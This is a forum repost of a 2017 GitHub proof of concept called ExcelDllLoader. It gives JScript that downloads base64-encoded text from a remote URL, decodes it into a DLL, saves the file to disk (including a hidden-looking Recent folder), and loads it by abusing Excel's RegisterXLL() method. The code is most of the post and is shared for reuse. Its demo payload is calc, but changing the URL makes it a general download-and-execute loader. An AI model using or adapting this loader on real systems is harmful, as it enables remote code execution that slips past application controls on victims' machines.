标题: [转载代码] ExcelDllLoader [打印本页]
作者: codegay 时间: 2017-7-25 03:44 标题: ExcelDllLoader
https://github.com/3gstudent/ExcelDllLoader
Execute DLL via the Excel.Application object's RegisterXLL() method
ExcelDllLoader.js:
Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js:
Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js:
- x="c:\\test\\calc.dll";
- h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
- h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
- h.Send();
- enc=new ActiveXObject("System.Text.ASCIIEncoding");
- length=enc.GetByteCount_2(h.ResponseText);
- ba=enc.GetBytes_4(h.ResponseText);
- transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
- ba=transform.TransformFinalBlock(ba,0,length);
- s=new ActiveXObject("ADODB.Stream");
- s.Type=1;
- s.Open();
- s.Write(ba);
- s.SaveToFile(x,2);
- new ActiveXObject("Excel.Application").RegisterXLL(x);
复制代码
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |